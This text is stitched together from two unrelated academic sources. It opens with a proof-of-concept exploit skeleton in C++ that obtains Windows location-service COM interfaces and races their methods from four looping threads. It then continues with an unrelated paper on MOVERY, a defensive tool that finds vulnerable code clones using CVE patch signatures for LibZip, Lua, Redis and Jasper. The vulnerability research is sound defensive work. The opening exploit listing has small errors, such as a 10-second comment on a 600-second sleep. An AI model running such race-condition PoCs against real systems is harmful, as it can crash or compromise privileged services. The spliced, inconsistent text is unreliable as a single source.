19 #include <winrt\Windows.Foundation.h>
20 #include <atlcomcli.h>
21 #include "interface_def.h"
22 #pragma comment(lib, "runtimeobject.lib")
23 using namespace ABI::Windows::Foundation;
24 using namespace ABI::Windows::Foundation::Collections;
25 using namespace ABI::Windows::Storage::Streams;
26 using namespace Microsoft::WRL;
27 using namespace Microsoft::WRL::Wrappers;
28 bool isWinRT = false;// global variable
29 // typedefs
30 typedef char sbyte;
31 typedef BYTE byte;
32 typedef unsigned int uint;
33 typedef PVOID IDefaultInterface;
34 // Skeleton Comment: Interfaces Declaration Template
35 IDefaultInterface* _IDefaultInterface; // Skeleton Comment:

Name regulate to "_I{InterfaceNameOrIID}"↪
36 IVisitClientBoundary* _IVisitClientBoundary;
37 ILocationManager* _ILocationManager;
38 IVisitInformation* _IVisitInformation;
39 IVisitInformationInternal* _IVisitInformationInternal;
40 ILocationSession* _ILocationSession;
41 ILocationInformation* _ILocationInformation;
42 // Skeleton Comment: error-handle functions
43 int PrintError(unsigned int line, HRESULT hr)
44 {
45 wprintf_s(L"ERROR: Line:%d HRESULT: 0x%X\n", line, hr);
46 return hr;
47 }
48 HRESULT hr;
49 // Skeleton Comment: Synthesizing Potential Race

Procedure Function Pairs↪
50 DWORD WINAPI RaceFunction_1(LPVOID lpParam){
51 // Skeleton Comment: Prepare parameters for

_ITargetInterface->Proc{Number}↪
52 while(1){
53 hr =

_IVisitInformationInternal->Proc6(_ILocationInformation);↪
54 }
55 }
56 DWORD WINAPI RaceFunction_2(LPVOID lpParam){
57 // Skeleton Comment: Prepare parameters for

_ITargetInterface->Proc{Number}↪
58 while(1){
59 ILocationInformation* temp;
60 hr = _IVisitInformation->Proc3(&temp);
61 }
62 }
63 // Synthesized POC begin
64 int main(){
65 // Initialize COM Multithreaded invocation context
66 RoInitializeWrapper initialize(RO_INIT_MULTITHREADED);
67 if (FAILED(initialize)) { return PrintError(__LINE__,

initialize); }↪
68 printf("Synthesized POC Skeleton begin\n");
69 // Prepare Parameters for

CoCreateInstance/ActivateInstance to get
Local_SERVER interface handle

↪
↪

70 if (isWinRT){
71 const WCHAR ObjStr[] = L"Template.Skeleton.ClassName";
72 IInspectable* tempObject; // All WinRT supports

IInspectable↪

73 hr = ActivateInstance(HStringReference(ObjStr).Get(),
&tempObject);↪

74 if (FAILED(hr))
75 {
76 return PrintError(__LINE__, hr);
77 }
78 // Skeleton Comment: Assign tempObject to

Interfaces Declaration handles↪
79 *_IDefaultInterface = tempObject;
80 }else{
81 // CallSeqMap[]: Acquire BeginInterface
82 CLSID clsid;
83

CLSIDFromString(CComBSTR("{08D9DFDF-C6F7-404A-A20F-66EEC0A609CD}"),
&clsid);

↪
↪

84 CLSID iid;
85

CLSIDFromString(CComBSTR("{3d0423b1-bbd4-4c4a-8f20-da15228e0f3d}"),
&iid);

↪
↪

86 PVOID tempObject_class;
87 hr = CoCreateInstance(
88 clsid,
89 NULL,
90 CLSCTX_LOCAL_SERVER,
91 iid,
92 (void**)&tempObject_class
93 );
94 if (FAILED(hr)) { return PrintError(__LINE__, hr); }
95 // Skeleton Comment: Assign tempObject_class to

Interfaces Declaration handles↪
96 _ILocationManager = (ILocationManager*)tempObject_class;
97 }
98 // Skeleton Comment: generate method call sequences

in order according to CallSeqMap[]↪
99 // Skeleton Comment:

Method1->Method2->Method3->MethodX...↪
100 // Skeleton Comment: Prepare parameters for Method1.
101 // Skeleton Comment: Invoke Method1
102 hr = _ILocationManager->Proc6(&_IVisitClientBoundary); // Fill

parameter list composed according to method
definition

↪
↪

103 if (FAILED(hr)) { return PrintError(__LINE__, hr); } //
InterStep Error check↪

104 // Skeleton Comment: Prepare parameters for Method2.
105 // Skeleton Comment: Invoke Method2
106 hr = _IVisitClientBoundary->Proc3(&_IVisitInformation);
107 if (FAILED(hr)) { return PrintError(__LINE__, hr); }
108 // Skeleton Comment: Prepare parameters for Method3.
109 // Skeleton Comment: Invoke Method3
110 hr =

_IVisitInformation->QueryInterface(&_IVisitInformationInternal);↪
111 if (FAILED(hr)) { return PrintError(__LINE__, hr); }
112 // Skeleton Comment: Prepare parameters for Method4.
113 LPVOID buffer_a0_method4 = (LPVOID)malloc(0x24);
114 // Skeleton Comment: Invoke Method4
115 hr = _ILocationManager->Proc4(buffer_a0_method4,

&_ILocationSession);↪
116 if (FAILED(hr)) { return PrintError(__LINE__, hr); }
117 // Skeleton Comment: Prepare parameters for Method5.
118 // Skeleton Comment: Invoke Method5
119 hr = _ILocationSession->Proc7(&_ILocationInformation);
120 if (FAILED(hr)) { return PrintError(__LINE__, hr); }
121 // Skeleton Comment: Once we obtain a reference to

_ITargetInterface, invoke unsafe methods
concurrently.

↪
↪

122 // Skeleton Comment: Prepare 4 threads to invoke each
method twice.↪

123 DWORD tid = 0;
124 CreateThread(NULL, 0, RaceFunction_1, (LPVOID)(0), 0,

&tid);↪
125 CreateThread(NULL, 0, RaceFunction_2, (LPVOID)(0), 0,

&tid);↪
126 CreateThread(NULL, 0, RaceFunction_1, (LPVOID)(0), 0,

&tid);↪
127 CreateThread(NULL, 0, RaceFunction_2, (LPVOID)(0), 0,

&tid);↪
128 Sleep(600000); // Let the POC run for 10 seconds.
129 printf("Synthesized POC Skeleton end\n");
130 return 0;
131 }

19Figure 13: Auto Synthesized PoC Exploits for Figure 8.
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Abstract
Vulnerabilities inherited from third-party open-source soft-
ware (OSS) components can compromise the entire software
security. However, discovering propagated vulnerable code
is challenging as it proliferates with various code syntaxes
owing to the OSS modifications, more specifically, internal
(e.g., OSS updates) and external modifications of OSS (e.g.,
code changes that occur during the OSS reuse).

In this paper, we present MOVERY, a precise approach for
discovering vulnerable code clones (VCCs) from modified
OSS components. By considering the oldest vulnerable func-
tion and extracting only core vulnerable and patch lines from
security patches, MOVERY generates vulnerability and patch
signatures that effectively address OSS modifications. For
scalability, MOVERY reduces the search space of the target
software by focusing only on the codes borrowed from other
OSS projects. Finally, MOVERY determines that the function
is VCC when it matches the vulnerability signature and is
distinctive from the patch signature.

When we applied MOVERY on ten popular software se-
lected from diverse domains, we observed that 91% of the
discovered VCCs had different code syntax from the disclosed
vulnerable function. Nonetheless, MOVERY discovered VCCs
at least 2.5 times more than those discovered in existing tech-
niques, with much higher accuracy: MOVERY discovered 415
VCCs with 96% precision and 96% recall, whereas two recent
VCC discovery techniques, which hardly consider internal
and external OSS modifications, discovered only 163 and 72
VCCs with at most 77% precision and 38% recall.

1 Introduction

The growing number of open-source software (OSS) has made
it possible for developers to reuse neat functionalities from
reliable OSS projects [11, 12, 37]. At the same time, how-
ever, vulnerabilities propagated by the third-party OSS reuse
can threaten the security of the entire system [14, 17, 48, 49].

*Heejo Lee is the corresponding author.

Maintaining OSS components up to date can, in principle, be a
solution to prevent such threats. However, a hasty component
update can adversely affect the entire system (e.g., backward
compatibility problems [40, 44]), especially when developers
reuse OSS projects with code or structural modifications [48].

Therefore, developers often backport upstream security
patches [43] to prevent undesirable threats from vulnerabil-
ities, instead of updating the entire component. To this end,
they first need to identify vulnerable code in the component
to be fixed [13, 43], for example, by leveraging vulnerable
code clone (VCC) discovery techniques (e.g., [17, 49]) and
software composition analysis (SCA) techniques that identify
reused components in a target program (e.g., [9, 48]).

Unfortunately, the precise discovery of vulnerabilities from
modified OSS components is becoming challenging; the main
obstacle is the syntax diversity of vulnerable code, mostly
caused by the following two types of OSS modifications.

• Internal modification of the OSS: The OSS source
code frequently changes during OSS version updates. In
this context, vulnerable codes can exist in various forms
depending on the OSS version, and can be propagated
to other software with various syntaxes.

• External modification of the OSS: Vulnerable code
can be modified during the OSS reuse process, owing to
the nature of the OSS ecosystem where the source code
is often modified in the reuse process [48].

These two types of OSS modifications collectively impair the
accuracy of discovering propagated vulnerable code, as their
syntax can differ from that of the disclosed vulnerable code
(e.g., through public vulnerability databases [31]). To the best
of our knowledge, none of the existing techniques are capable
of precisely discovering vulnerable codes of various syntaxes
present in the modified OSS components.

Limitations of existing techniques. Existing VCC discovery
techniques (e.g., [14, 17, 49]) do not consider internal modifi-
cations of the OSS and examine only external modifications
in a limited fashion, thereby producing many false negatives.
In particular, they can only discover VCCs containing code
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lines that were deleted from security patches, which are often
omitted in VCCs within modified OSS components. In con-
trast, existing SCA tools (e.g., [9,48]) determine the existence
of vulnerabilities based only on the reused OSS version, pro-
ducing false positives especially when the vulnerable code is
patched through backporting or not reused. Incidentally, exist-
ing code clone detection techniques (e.g., [35,42]) can be used
to discover VCCs, but they are prone to produce false posi-
tives because they cannot distinguish vulnerable and patched
codes that exhibit high code similarities in general [17, 49].

To overcome such shortcomings, we present MOVERY
(MOdified Vulnerable code clone discovERY), a precise ap-
proach for discovering modified vulnerable code clones from
modified OSS components.

Our approach. The key idea of MOVERY, which is out-
standingly distinguishable from existing VCC discovery tech-
niques, lies in generating an extensible signature that compre-
hends from the oldest to disclosed vulnerable functions.

MOVERY comprises the following two phases: (1) P1 for
generating signatures, and (2) P2 for discovering VCCs.

In P1, MOVERY generates vulnerability and patch signa-
tures using vulnerable and patched functions reconstructed
from security patches. Specifically, MOVERY uses techniques
called function collation and core line extraction. Unlike ex-
isting techniques that focus only on the disclosed vulnerable
function, MOVERY additionally considers the oldest vulnera-
ble function and collates them; this is for addressing internal
OSS modifications, as the delta between the oldest and dis-
closed vulnerable functions summarizes the changes in the
vulnerable code during OSS updates. Thereafter, MOVERY
generates signatures by storing only the core vulnerable and
patch code lines; the generated signatures can be used to dis-
cover VCCs without being affected by code changes other
than core vulnerable and patch code lines (see Section 3.1).

In P2, MOVERY discovers the VCCs in the target software
using the generated signatures. For scalability, MOVERY re-
duces the VCC search space by leveraging the concept of
the existing SCA technique [48], which only inspects code
parts borrowed from other OSS. For accuracy, MOVERY ap-
plies a selective abstraction technique to precisely discover
VCCs with external OSS modifications. Finally, MOVERY
confirms that the function in the target software is a vulnera-
ble code clone when it matches vulnerability signatures and
is distinctive from patch signatures (see Section 3.2).

Evaluation. Experimental results showed that MOVERY sig-
nificantly outperformed existing VCC discovery techniques
such as ReDeBug [14] and VUDDY [17]. For evaluation,
we collected 4,219 Common Vulnerabilities and Exposures
(CVE) patches from the NVD [31], including all the C/C++
CVEs that released their patches via Git [19, 47].

When we applied MOVERY, ReDeBug, and VUDDY on ten
popular software selected from diverse domains, we observed
that 91% of the discovered VCCs had a different syntax from

disclosed vulnerable functions. In the experiments, MOVERY
was able to discover VCCs at least 2.5 times more than ex-
isting techniques with much higher accuracy; this is because
ReDeBug and VUDDY neither consider OSS modifications
nor properly address the syntax diversity of VCCs, resulting
in many false negatives. Specifically, MOVERY discovered
415 VCCs with 96% precision and 96% recall, meanwhile
ReDeBug and VUDDY discovered 163 and 72 VCCs with at
most 77% precision and 38% recall (see Section 5.1).

We further confirmed that MOVERY showed substantially
better accuracy in discovering VCCs from modified compo-
nents than MVP [49] (i.e., a recurring vulnerability detection
technique) and CENTRIS [48] (i.e., an SCA technique): MVP,
which does not consider internal OSS modifications, reported
184 false negatives (54% recall) for ten target software, while
the CENTRIS-based VCC discovery approach yielded 272
false positives (51% precision) as it did not consider back-
ported security patches (see Section 5.2 and Section 5.3).

Moreover, we demonstrated that MOVERY discovered
VCCs from ten target software of various code sizes (i.e.,
ranging from 212,672 to 14,489,534 C/C++ lines of code)
within 200 s on average (for each software). This measured
elapsed time is shorter than that of ReDeBug (298 s) and
VUDDY (798 s), suggesting that MOVERY is sufficiently fast
and scalable for practical usage (see Section 5.4).

Contributions. We summarize our contributions below.

• We present MOVERY, the first approach for precisely
discovering VCCs in modified OSS components. The
key technique is generating signatures that are capable of
addressing the internal and external OSS modifications.

• We demonstrated that internal modifications of the OSS,
which were hardly considered in existing techniques, can
play a leading role in the syntax diversity of VCCs.

• Although most (91%) of the syntax of VCCs in modi-
fied components differed from the disclosed vulnerable
functions, MOVERY was able to discover 415 VCCs in
ten target software selected from diverse domains, with
96% precision and 96% recall.

2 Motivation

In this section, we clarify the target problem of MOVERY, and
discuss the motivation for MOVERY with examples.

2.1 Problem statement
We focused on discovering propagated vulnerabilities in the
modified OSS components. Suppose that a vulnerability is
introduced in an OSS and is then patched. Let fd be the dis-
closed vulnerable function (e.g., through public vulnerability
databases), fp be the patched function, and fo be the vulnera-
ble function contained in an older version of the OSS, which
has a different code syntax from fd (see Figure 1).
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Figure 1: Depiction of the vulnerability fix flow from the vulner-
ability introduction to the vulnerability patch.

Using these terms, we can classify the propagation of vul-
nerability caused by vulnerable OSS reuse into the following
four categories (C1 to C4, see Table 1):

Table 1: Classification of vulnerable function propagation.

Category Description
C1 fd is reused without code modification.
C2 fd is reused with code modification.
C3 fo is reused without code modification.
C4 fo is reused with code modification.

Regardless of the category, all propagated vulnerable func-
tions should be discovered and patched.

Technical challenges. The main technical challenge is ad-
dressing the syntax diversity of vulnerable code, mostly arises
for the following two reasons: internal and external modifi-
cation of the OSS. As the source code of an OSS frequently
changes during OSS version updates (i.e., internal modifica-
tions of OSS), the syntax of a vulnerable function can also
be changed (i.e., C3 and C4). Moreover, developers often
apply their own code patches to OSS components (i.e., exter-
nal modifications of OSS), and thus, a propagated vulnerable
function can exist with various syntaxes (i.e., C2 and C4).

Such syntax diversity significantly impairs the accuracy
of VCC discovery. Existing VCC discovery techniques (e.g.,
[14, 17, 49]) can cover only C1 and limited C2, thereby pro-
ducing many false negatives. Typically, they define code lines
deleted from the security patch as vulnerable lines, and deter-
mine a function as VCC only if the function contains all the
vulnerable lines. However, the vulnerable lines in fd they de-
fined may not exist in fo due to the OSS modifications; in this
case, they fail to discover VCCs, producing false negatives.

2.2 Motivating examples
We introduce two VCC examples with different syntaxes from
disclosed vulnerable codes; all are now fixed (i.e., patched)
by the development teams. What we want to emphasize here
is that syntactically different VCCs can appear in practice
owing to internal and external OSS modifications, and that
these are difficult to discover precisely.

Example 1) We first introduce a memory allocation failure
vulnerability that existed in LibZip before v1.3.0 (i.e., CVE-
2017-14107). Listing 1 shows the patch snippet for fixing the
vulnerability. We confirmed that PHP1, which was reusing
vulnerable LibZip, backported the security patch in 2017; the
patched function snippet in PHP is shown in Listing 2.

1https://github.com/php/php-src

Listing 1: A patch snippet for CVE-2017-14107 in LibZip.
1 index 3bd593b1..9d3a4cbb 100644
2 ––– a/lib/zip_open.c
3 +++ b/lib/zip_open.c
4 @@ ... @@ _zip_read_eocd64 (...) {
5 zip_cdir_t *cd;
6 zip_uint64_t offset;
7 zip_uint8_t eocd[EOCD64LEN];
8 ...
9 zip_error_set(error, ZIP_ER_SEEK, EFBIG);

10 return NULL;
11 }
12 - if ((flags & ZIP_CHECKCONS)

&& offset+size != eocd_offset) {
13 + if (offset+size > buf_offset + eocd_offset) {
14 + /* cdir spans past EOCD record */
15 + zip_error_set(error, ZIP_ER_INCONS, 0);
16 + return NULL;
17 + }
18 + if ((flags & ZIP_CHECKCONS)

&& offset+size != buf_offset + eocd_offset) {
19 zip_error_set(error, ZIP_ER_INCONS, 0);

Listing 2: The patched _zip_read_eocd64 function in PHP. High-
lighted areas indicate the code parts that differ from the dis-
closed patched function. The vulnerable _zip_read_eocd64 func-
tion in PHP exhibited only 13% syntax similarity to the disclosed
vulnerable function of LibZip.
1 static struct zip_cdir * _zip_read_eocd64 (...) {
2 struct zip_cdir_t *cd;
3 zip_uint64_t offset;
4 const zip_uint8_t *cdp;
5 ...
6 _zip_error_set(error, ZIP_ER_SEEK, EFBIG);
7 return NULL;
8 }
9 if (offset+size > buf_offset + eocd_offset) {

10 /* cdir spans past EOCD record */
11 _zip_error_set(error, ZIP_ER_INCONS, 0);
12 return NULL;
13 }
14 if ((flags & ZIP_CHECKCONS)

&& offset+size != buf_offset + eocd_offset) {
15 _zip_error_set(error, ZIP_ER_INCONS, 0);

Because PHP reused an older version of LibZip (released
in 2013) with code modifications, the syntax of the vulnerable
function in PHP was different from that specified in the dis-
closed patch for CVE-2017-14107. Considering the function
as a set of code lines, when measuring Jaccard similarity [46]
between the vulnerable function in PHP and the vulnerable
function disclosed in LibZip, the measured similarity was
13%. Moreover, the PHP team could not directly apply the se-
curity patch owing to the syntax diversity. For these reasons,
the PHP team modified and applied the disclosed security
patch to their codebase, rather than updating the entire LibZip
to a safe version (i.e., v1.3.0 or later).

This suggests the need to discover VCCs with large code
differences (in this case, 87%) from the disclosed vulnerable
function. MOVERY, which considers the syntax of the oldest
vulnerable function and uses only the core lines in signature
generation, can discover even a VCC with such large code
differences (details are explained in Section 3).
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Listing 3: A patch snippet for CVE-2014-5461 in Lua 5.2.3.
1 index aafa3dca2..d02e11328 100644
2 ––– a/ldo.c
3 +++ b/ldo.c
4 @@ -326,7 +327,13 @@ int luaD_precall (...) {
5 Proto *p = clLvalue(func)->p;
6 - luaD_checkstack(L, p->maxstacksize);
7 - func = restorestack(L, funcr);
8 n = cast_int(L->top - func) - 1;
9 + luaD_checkstack(L, p->maxstacksize);

10 for (; n < p->numparams; n++)
11 setnilvalue(L->top++);
12 - base = (!p->is_vararg)? func + 1:

adjust_varargs(L, p, n);
13 + if (!p->is_vararg) {
14 + func = restorestack(L, funcr);
15 + base = func + 1;
16 + }

Listing 4: A backporting patch for CVE-2014-5461 in Redis.
1 ––– a/deps/lua/src/ldo.c
2 +++ b/deps/lua/src/ldo.c
3 @@ -276,3 +276,3 @@ int luaD_precall (...) {
4 Proto *p = cl->p;
5 - luaD_checkstack(L, p->maxstacksize);
6 + luaD_checkstack(L, p->maxstacksize + p->numparams);
7 func = restorestack(L, funcr);
8 // No "base = (!p->is_vararg)? func + 1:..." code line

However, VUDDY [17], a scalable VCC discovery tech-
nique that only considers limited changes in the vulnerable
function, cannot discover such VCCs. ReDeBug [14], a VCC
discovery technique that considers nearby three (by default)
lines of deleted and added code lines from the patch, also fails
to discover such a VCC because the three lines immediately
above the lines deleted from the patch (i.e., lines #9, #10, and
#11 in Listing 1) differ from those of the function in PHP (i.e.,
lines #6, #7, and #8 in Listing 2).

Example 2) As an example of a VCC that does not in-
clude the code lines deleted from the patch, we introduce a
buffer overflow vulnerability that existed in Lua2 v5.1 through
v5.2.2, which allows context-dependent attackers to cause
a denial of service attack (i.e., CVE-2014-5461). Listing 3
shows the patch snippet applied in Lua v5.2.3. We confirmed
that Redis3, which reused vulnerable Lua with code modifica-
tions, backported the security patch for CVE-2014-5461 in
September 2020 (see Listing 4).

Specifically, we noted that the patch applied in Redis was
different from that applied in the Lua repository. This is be-
cause Redis reused an old version of Lua (v5.1.5) where the
syntax of the vulnerable function is different from what is
disclosed, it was infeasible for the Redis team to apply the
patch for CVE-2014-5461 as it was (e.g., line #12 of Listing 3
did not exist in the reused code parts of Lua within Redis),
and thus they followed the patch suggested on the official bug
tracker of Lua4.

2https://github.com/lua/lua
3https://github.com/redis/redis
4http://www.lua.org/bugs.html#5.2.2-1
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Figure 2: High-level overview of the workflow of MOVERY.

This case highlights the need to discover VCCs that were
propagated with the syntax of older versions, which may
not contain the code lines deleted from security patches.
MOVERY makes this possible by collating vulnerable func-
tions between the oldest and the disclosed vulnerable ver-
sions (see Section 3). However, existing VCC discovery tech-
niques [14, 17, 49] fail to discover such a VCC when vul-
nerable lines they defined (e.g., in this case, line #12 in List-
ing 3) are not contained in the VCC. In contrast, existing SCA
techniques [9, 48] misinterpret that Redis still contains the
vulnerability because a vulnerable version of Lua (i.e., v5.1.5)
is reused in Redis, despite the Redis team has backported the
security patch.

3 Methodology of MOVERY

In this section, we describe the methodology of MOVERY.
MOVERY comprises the following two phases: signature gen-
eration phase (P1) and VCC discovery phase (P2). In P1,
MOVERY uses techniques called function collation and core
line extraction to generate extensible signatures for addressing
the syntax diversity of vulnerable codes. In P2, for scalability,
MOVERY reduces the search space of the target software by
focusing only on the code parts borrowed from other OSS. On
top of that, MOVERY discovers a VCC in the target software:
a function that is distinct from patch signatures and simulta-
neously matches the vulnerability signatures. The high-level
workflow of MOVERY is shown in Figure 2.

3.1 Signature generation (P1)
Given a 3-tuple of functions, the oldest vulnerable function
( fo), the disclosed vulnerable function ( fd), and the patched
function ( fp), MOVERY generates vulnerability and patch
signatures (the method for collecting vulnerable and patched
functions is introduced in Section 4.1).
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Principles of signature generation. First, we decided that
signatures should satisfy the following three principles to
address the syntax diversity of vulnerable code clones.

(1) Minimization. The ability to address syntax diversity
decreases as more code lines are included in the signa-
ture [49]. Hence, we need to generate a signature by
collecting a minimal number of core code lines that are
capable of discovering vulnerable code clones.

(2) Extensibility. Vulnerability signatures should be exten-
sible (i.e., from the oldest to the disclosed vulnerable
functions) to address internal OSS modifications.

(3) Perceptibility. Signatures should be available to deter-
mine whether the environment in which the vulnerable
code manifests (e.g., control dependencies), is still pre-
served in the propagated vulnerable code.

Phase overview. For each vulnerability, MOVERY first exam-
ines the common code lines between fo and fd by collating
them (i.e., for extensibility). MOVERY then extracts only the
following core code lines from fo and fd : essential and de-
pendent vulnerable code lines (i.e., for perceptibility). By
gathering only the extracted essential and dependent vulnera-
ble code lines (i.e., for minimization), MOVERY generates a
vulnerability signature. A similar process is applied to generat-
ing patch signatures; MOVERY analyzes fp, extracts essential
and dependent patch code lines, and then generates a patch
signature by gathering them.

Function collation. Unlike existing VCC discovery tech-
niques (e.g., [14, 17, 49]) that focus only on code lines in fd ,
MOVERY examines ( fo, fd) pairs to generate extensible vul-
nerability signatures for addressing syntax diversity caused
by internal OSS modifications. Because fo and fd contain the
same vulnerability, we can infer that code lines (1) present in
both fo and fd and (2) deleted from security patches would
play an important role in manifesting the vulnerability (we
further discuss this in Section 6).

Essential vulnerable and patch line extraction. To address
syntax diversity caused by external OSS modifications, we
only consider core lines in signature generation. To this end,
we first define essential vulnerable and patch lines as follows.

⋄ Definition I. Essential vulnerable and patch lines.

We define essential vulnerable lines (EV ) as the code
lines that are deleted in the security patch and included in
both fo and fd . We then define essential patch lines (EP),
the code lines that are added in the security patch, but do
not exist in both fo and fd .

The essential vulnerable (Ev) and patch lines (Ep) can be
formally expressed as follows (let l be a source code line):

EV =
{

l |
(
l ∈ ( fd \ fp)

)
∧
(
l ∈ ( fo ∩ fd)

)
∧
(

l /∈ fp
)}

EP =
{

l |
(
l ∈ ( fp \ fd)

)
∧
(
l /∈ ( fo ∪ fd)

)
∧
(

l ∈ fp
)}

Listing 5: A patch snippet for CVE-2016-8654.
1 // Jasper_1.900.31/src/libjasper/jpc/jpc_qmfb.c
2 void jpc_qmfb_split_col (...) {
3 ...
4 if (bufsize > QMFB_SPLITBUFSIZE) {
5 if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
6 abort();
7 }
8 }
9 if (numrows >= 2) {

10 - hstartcol = (numrows + 1 - parity) » 1;
11 - // ORIGINAL (WRONG): m = (parity) ?

hstartcol : (numrows - hstartcol);
12 - m = numrows - hstartcol;
13 + hstartrow = (numrows + 1 - parity) » 1;
14 + // ORIGINAL (WRONG): m = (parity) ?

hstartrow : (numrows - hstartrow);
15 + m = numrows - hstartrow;
16 n = m;
17 dstptr = buf;
18 srcptr = &a[(1 - parity) * stride];

Listing 6: The oldest vulnerable function snippet for CVE-2016-
8654. Highlighted areas indicate the code parts that differ from
the disclosed vulnerable function.
1 // Jasper_1.900.1/src/libjasper/jpc/jpc_qmfb.c
2 void jpc_qmfb_split_col (...) {
3 ...
4 if (bufsize > QMFB_SPLITBUFSIZE) {
5 if (!(buf = jas_alloc(bufsize * sizeof(jpc_fix_t)))) {
6 abort();
7 }
8 }
9 if (numrows >= 2) {

10 hstartcol = (numrows + 1 - parity) » 1;
11 m = (parity) ? hstartcol : (numrows - hstartcol);
12 n = m;
13 dstptr = buf;
14 srcptr = &a[(1 - parity) * stride];

As a working example, we introduce the CVE-2016-8654
case, a heap-buffer overflow vulnerability discovered in Jasper.
Listing 5 shows the patch snippet based on Jasper v1.900.31,
and Listing 6 shows the oldest vulnerable function snippet
from Jasper v1.900.1. Among the code lines deleted from the
patch (i.e., lines #10 to #12 in Listing 5), only line #10 in
Listing 5 exists in the oldest vulnerable function; therefore,
this line belongs to Ev. Subsequently, the code lines added
from the patch (i.e., lines #13 to #15 in Listing 5) are included
in Ep (i.e., these lines belong to neither fo nor fd).

Dependent vulnerable and patch line extraction. Propa-
gated essential vulnerable lines do not always guarantee that
the vulnerable behavior is still maintained. To consider the
environment where the vulnerability manifested, MOVERY
examines dependent code lines. In particular, MOVERY pays
attention to the code lines that have control or data dependen-
cies with the essential vulnerable and patch lines, which have
a major impact on vulnerability manifestation [3, 49].

⋄Definition II. Dependent vulnerable and patch lines.

We define dependent vulnerable lines (Dv) as the code
lines that have control or data dependencies with the es-
sential vulnerable lines and are included in both fo and fd .
We then define dependent patch lines (Dp), the code lines
in fp that are dependent on the essential patch lines.
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Let x 7→c y and x 7→d y indicate the control and data de-
pendency of a code line x with y, respectively. Then, the de-
pendent vulnerable code lines (Dv) and dependent patch code
lines (Dp) can be formally expressed as follows:

Dv =
{

l |
(

l ∈ ( fo ∩ fd)
)
∧
((

l 7→c lv
)
∨
(
l 7→d lv

))}
Dp =

{
l |
(

l ∈ fp

)
∧
((

l 7→c lp
)
∨
(
l 7→d lp

))}
where lv ∈ Ev and lp ∈ Ep. For example, in the case of CVE-
2016-8654, code lines that have control dependencies (e.g.,
line #9 in Listing 5 and Listing 6) or data dependencies (e.g.,
line #18 (#14) in Listing 5 (Listing 6)) with the essential
vulnerable line are included in Dv.

Control flow code line extraction. Owing to the changes
in control flows of the vulnerable function, the environment
where the vulnerability executed may not be persisted in the
cloned function; such differences in control flows can yield
false positives in VCC discovery. Therefore, we decided to
include vulnerable control flow code lines (Fv) into signatures.

⋄Definition III. Vulnerable control flow code lines.

We define vulnerable control flow code lines (Fv) as the
conditional statements that directly related to the control
flow from the entrance of the vulnerable function to the
essential vulnerable code lines.

For example, in Listing 5 and Listing 6, three conditional
statements (i.e., lines #4, #5, and #9 in both listings) are passed
before reaching the essential vulnerable lines (i.e., line #10
in both listings). Similarly, for extensibility, only code lines
common to fo and fd are considered when examining the
control flow reaching the essential vulnerable lines. Conse-
quently, lines #4 and #9 in Listing 5 and Listing 6 are defined
as vulnerable control flow code lines.

Here, we consider the control flow only in vulnerable func-
tions. If a new control flow is added through the security patch,
the added lines (e.g., conditional statements) are included in
the essential patch lines; we decided that there was no need
to include duplicate code lines in the patch signature.

Signature generation. Finally, MOVERY generates a vulner-
ability signature (Sv) and a patch signature (Sp) by gathering
the previously extracted information.

Sv = (Ev, Dv, Fv)

Sp = (Ep, Dp)

One important thing is that MOVERY does not simply store
code lines belonging to each element with their original syn-
tax. Instead, MOVERY applies text-preprocessing to code
lines, which can prevent false negatives caused by changes
that do not affect the meaning of the vulnerable and patched
code [17, 49]. Specifically, MOVERY utilizes the following
two techniques: normalization and abstraction.

Listing 7: Example vulnerability signature for CVE-2016-8654.
Sv = (

Ev = [{ "norm": "hstartcol=(numrows+1-parity)>1;",
"abst": "DVAL=(PARAM+1-PARAM)>1;" }

],
Dv = [{ "norm": "if(numrows>=2){",

"abst": "if(PARAM>=2){" },
"norm": "srcptr=&a[(1-parity)*stride];",
"abst": "DVAL=&PARAM[(1-PARAM)*PARAM];" },

...],
Fv = [{ "norm": "if(bufsize>QMFB_SPLITBUFSIZE){",

"abst": "if(DVAL>QMFB_SPLITBUFSIZE){" },
...]

)

• Normalization. Removing whitespaces and comments
from each function and converting all the characters in
the function to lower cases.

• Abstraction. Replacing every occurrence of parameters,
variable names, variable types, and callee function names
in each function with symbols PARAM, DNAME, DTYPE,
and FCALL, respectively.

MOVERY first identifies all the code lines to be stored in
the signatures. MOVERY then applies normalization to the
given three functions (i.e., fo, fd , and fp), and stores the nor-
malized form of the identified code lines into the signatures
(i.e., labeled as “norm”). Next, MOVERY applies both abstrac-
tion and normalization to the given three functions and then
stores the output to the signatures (i.e., labeled as “abst”).
The reason for storing both normalized code lines in the form
of abstraction applied/non-applied is to minimize false alarms
that can occur because of the naive abstraction method (de-
tails are introduced in Section 3.2). Incidentally, MOVERY
skips the normalized code line if the number of characters is
less than 15, to prevent false alarm caused by general short
code; we discuss this decision in Section 6. Listing 7 shows
an example vulnerability signature for the working example.

3.2 Vulnerable code clone discovery (P2)
Given the target software (T ), vulnerability signature (Sv),
patch signature (Sp), and vulnerable functions ( fo and fd),
MOVERY discovers vulnerable code clones in T .

Phase overview. For scalable and precise VCC discovery,
MOVERY utilizes two techniques: (1) search space reduc-
tion and (2) selective abstraction matching. First, MOVERY
reduces the search space of T by focusing only on the code-
bases of reused OSS components, i.e., MOVERY searches for
VCCs only in “reuse” code regions. In addition, MOVERY
uses selective abstraction matching between signatures and T
to improve the discovery accuracy. Finally, MOVERY deter-
mines that a function in T is a vulnerable code clone when it
(1) contains Sv, (2) does not contain Sp, and (3) has a syntax
similar to the vulnerable functions (i.e., fo and fd).

Reducing search space. When discovering VCCs in the
target software T , searching the entire codebase of T is a
burdensome task. Therefore, we decided to reduce the search
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space by leveraging the concept of a state-of-the-art software
composition analysis technique [48]. In particular, they seg-
mented the codebase of software into the borrowed code part
(i.e., a part of the reusing third-party OSS) and the application
code part (i.e., the unique part of the software). Inspired by
this approach, we focused only on the borrowed code part of
T , which conceptually includes every OSS component.

Suppose MOVERY discovers a vulnerable code clone of
the vulnerability V in T . To identify the borrowed code part
of T , MOVERY first needs to collect the codebase of software
C from which V originated. MOVERY focuses on the fact that
there is at least one common function between T and C when
C is reused in T [48]. The detailed process is as follows.

(1) First, MOVERY extracts all functions from T and C with
their path information (e.g., “./src/file.c”).

(2) Next, MOVERY checks whether there is a common func-
tion (i.e., a function that exists in common for both T
and C, with exactly the same syntax) between C and T .

(2-1) If there are common functions, MOVERY gathers
the directory paths for every common function
within T . The collected directory paths are con-
sidered as the borrowed code part of T .

(2-2) If there is no common function, MOVERY deter-
mines that T does not reuse C, and subsequently,
VCCs of V are not contained in T .

